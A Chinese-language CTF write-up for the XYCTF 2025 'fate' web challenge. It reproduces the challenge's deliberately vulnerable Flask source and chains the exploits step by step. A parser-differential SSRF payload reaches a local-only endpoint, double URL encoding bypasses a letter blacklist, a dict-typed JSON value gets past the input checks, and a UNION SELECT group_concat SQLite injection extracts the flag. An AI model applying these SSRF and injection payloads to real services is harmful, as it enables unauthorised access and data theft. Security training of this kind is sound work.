利用解析差异SSRF + sqlite注入 + waf逻辑漏洞 -- xyctf 2025 fate WP

本文章附带TP(Thinking Process)!

python 复制代码
#!/usr/bin/env python3
# 导入所需的库
import flask  # Flask web框架
import sqlite3  # SQLite数据库操作
import requests  # HTTP请求库
import string  # 字符串处理
import json  # JSON处理

app = flask.Flask(__name__)  # 创建Flask应用实例
blacklist = string.ascii_letters  # 所有英文字母(大小写)作为黑名单


# 将二进制字符串转换为普通字符串
def binary_to_string(binary_string):
    if len(binary_string) % 8 != 0:
        raise ValueError("Binary string length must be a multiple of 8")
    # 将二进制字符串按每8位分割
    binary_chunks = [binary_string[i:i + 8] for i in range(0, len(binary_string), 8)]
    # 将每8位二进制转换为对应的字符
    string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)

    return string_output


# 代理路由,用于转发请求
@app.route('/proxy', methods=['GET'])
def nolettersproxy():
    url = flask.request.args.get('url')  # 获取请求参数中的url
    if not url:
        return flask.abort(400, 'No URL provided')  # 如果没有提供url,返回400错误

    target_url = "http://lamentxu.top" + url  # 构造目标URL
    # 检查url中是否包含黑名单中的字母
    for i in blacklist:
        if i in url:
            return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
    # 防止SSRF攻击,不允许包含点号
    if "." in url:
        return flask.abort(403, 'No ssrf allowed')
    # 发送请求到目标URL
    response = requests.get(target_url)

    return flask.Response(response.content, response.status_code)


# 数据库查询函数
def db_search(code):
    with sqlite3.connect('database.db') as conn:  # 连接SQLite数据库
        cur = conn.cursor()
        # 执行SQL查询,对输入进行多次UPPER转换(可能是为了防御某些攻击)
        cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}'))))))")
        found = cur.fetchone()  # 获取查询结果
    return None if found is None else found[0]  # 返回结果或None


# 首页路由
@app.route('/')
def index():
    print(flask.request.remote_addr)  # 打印访问者的IP地址
    return flask.render_template("index.html")  # 渲染并返回index.html模板


# 1337路由,提供API搜索功能
@app.route('/1337', methods=['GET'])
def api_search():
    # 只允许本地访问
    if flask.request.remote_addr == '127.0.0.1':
        code = flask.request.args.get('0')  # 获取参数0
        if code == 'abcdefghi':  # 检查参数0是否为特定值
            req = flask.request.args.get('1')  # 获取参数1
            try:
                # 将二进制字符串转换为普通字符串
                req = binary_to_string(req)
                print(req)
                # 解析JSON(注释中提到认为JSON比Pickle更安全)
                req = json.loads(req)
            except:
                flask.abort(400, "Invalid JSON")  # JSON解析失败返回400
            # 检查JSON中是否包含name字段
            if 'name' not in req:
                flask.abort(400, "Empty Person's name")

            name = req['name']
            # 检查name长度
            if len(name) > 6:
                flask.abort(400, "Too long")
            # 防止SQL注入,检查特殊字符
            if '\'' in name:
                flask.abort(400, "NO '")
            if ')' in name:
                flask.abort(400, "NO )")
            """
            Some waf hidden here ;)
            这里有隐藏的WAF(Web应用防火墙)规则
            """

            # 查询数据库
            fate = db_search(name)
            if fate is None:
                flask.abort(404, "No such Person")  # 未找到记录返回404

            return {'Fate': fate}  # 返回查询结果
        else:
            flask.abort(400, "Hello local, and hello hacker")  # 参数0不正确返回400
    else:
        flask.abort(403, "Only local access allowed")  # 非本地访问返回403


if __name__ == '__main__':
    app.run(debug=True)  # 启动Flask应用,开启调试模式

看起来,我们的第一步是尝试造成ssrf,访问查询api

python 复制代码
@app.route('/proxy', methods=['GET'])
def nolettersproxy():
    url = flask.request.args.get('url')  # 获取请求参数中的url
    if not url:
        return flask.abort(400, 'No URL provided')  # 如果没有提供url,返回400错误

    target_url = "http://lamentxu.top" + url  # 构造目标URL
    # 检查url中是否包含字母
    for i in blacklist:
        if i in url:
            return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
    # 防止SSRF攻击,不允许包含点号
    if "." in url:
        return flask.abort(403, 'No ssrf allowed')
    # 发送请求到目标URL
    response = requests.get(target_url)

    return flask.Response(response.content, response.status_code)

题目没有禁止符号,翻看利用手册尝试利用解析差异访问

复制代码
 &@0:8080

/proxy?url=%20%26%400%3A8080

成功

复制代码
/proxy?url=%20%26%400%3A8080

继续传递参数,我们使用双重url编码

复制代码
 &@0:8080/1337?0=%61%62%63%64%65%66%67%68%69

/proxy?url=%20%26%400%3A8080%2F1337%3F0%3D%2561%2562%2563%2564%2565%2566%2567%2568%2569

按照代码逆向编写编码器

python 复制代码
def string_to_binary(input_str):
    """将普通字符串转换为8位二进制组成的字符串"""
    binary_str = []
    for char in input_str:
        # 获取字符的ASCII码并转换为二进制,补齐8位前导零
        binary_char = bin(ord(char))[2:].zfill(8)  # [2:]去除0b前缀
        binary_str.append(binary_char)
    return ''.join(binary_str)

a = "/proxy?url=%20%26%400%3A8080%2F1337%3F0%3D%2561%2562%2563%2564%2565%2566%2567%2568%2569%261%3D"
print(a + string_to_binary('{"name":"test"}'))
复制代码
/proxy?url=%20%26%400%3A8080%2F1337%3F0%3D%2561%2562%2563%2564%2565%2566%2567%2568%2569%261%3D011110110010001001101110011000010110110101100101001000100011101000100010011101000110010101110011011101000010001001111101

我们现在需要绕过if len(name) > 6:
我们可以试试使用数组,灵感来自于我刚打完的 Cyber Apocalypse CTF 2025

复制代码
len(['a'])

的输出是1,而且使用数组可以绕过剩下的waf

复制代码
if '\'' in name: 只有在 ['\'] 时候才成立

但是这会造成一个意外的冒号

json 复制代码
{"name":["\'))))))--"]}
复制代码
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('["'))))))--"]'))))))

或者我也可以尝试字典

json 复制代码
{"name":{"test":"test"}}
sql 复制代码
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{'test': 'test'}'))))))

显然字典更合适,我应该使用union注入继续

python 复制代码
import sqlite3

conn = sqlite3.connect("database.db")
conn.execute("""CREATE TABLE FATETABLE (
  NAME TEXT NOT NULL,
  FATE TEXT NOT NULL
);""")
Fate = [
    ('JOHN', '1994-2030 Dead in a car accident'),
    ('JANE', '1990-2025 Lost in a fire'),
    ('SARAH', '1982-2017 Fired by a government official'),
    ('DANIEL', '1978-2013 Murdered by a police officer'),
    ('LUKE', '1974-2010 Assassinated by a military officer'),
    ('KAREN', '1970-2006 Fallen from a cliff'),
    ('BRIAN', '1966-2002 Drowned in a river'),
    ('ANNA', '1962-1998 Killed by a bomb'),
    ('JACOB', '1954-1990 Lost in a plane crash'),
    ('LAMENTXU', r'2024 Send you a flag flag{FAKE}')
]
conn.executemany("INSERT INTO FATETABLE VALUES (?, ?)", Fate)

conn.commit()
conn.close()
sql 复制代码
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{'))))))) UNION SELECT FATE FROM FATETABLE--': ''}'))))))
json 复制代码
{"name":{"))))))) UNION SELECT FATE FROM FATETABLE--":""}}

只返回了一个结果,我们需要拼接结果

json 复制代码
{"name":{"))))))) UNION SELECT group_concat(FATE) FROM FATETABLE--":""}}

成功获得flag

相关推荐
w23617346016 分钟前
深入解析布尔注入:原理、实战与防御
数据库·网络安全·sql注入·布尔注入·数据库注入
游戏开发爱好者811 分钟前
全面解析Flutter中的Stream用法及实际应用
websocket·网络协议·tcp/ip·http·网络安全·https·udp
it技术分享just_free9 小时前
软考教材重点内容 信息安全工程师 第22章 网站安全需求分析与安全保护工程
web安全·网络安全·信息安全·系统安全·软考
repetitiononeoneday9 小时前
网络安全-Http\Https协议和Bp抓包
网络安全
00后程序员张12 小时前
Flutter 应用在真机上调试的流程
websocket·网络协议·tcp/ip·http·网络安全·https·udp
00后程序员张19 小时前
Charles抓包-安装和IOS抓包指导
websocket·网络协议·tcp/ip·http·网络安全·https·udp
Orig1nal1 天前
第七届浙江省大学生网络与信息安全竞赛决赛Unserialize深度解析 1.0
网络安全
游戏开发爱好者81 天前
Flutter 学习之旅 之 flutter 使用 shared_preferences 实现简单的数据本地化保存封装
websocket·网络协议·tcp/ip·http·网络安全·https·udp
不想学密码的程序员不是好的攻城狮2 天前
TGCTF web
python·网络安全·web·ctf
ALe要立志成为web糕手2 天前
PHP反序列化
web安全·网络安全·php·反序列化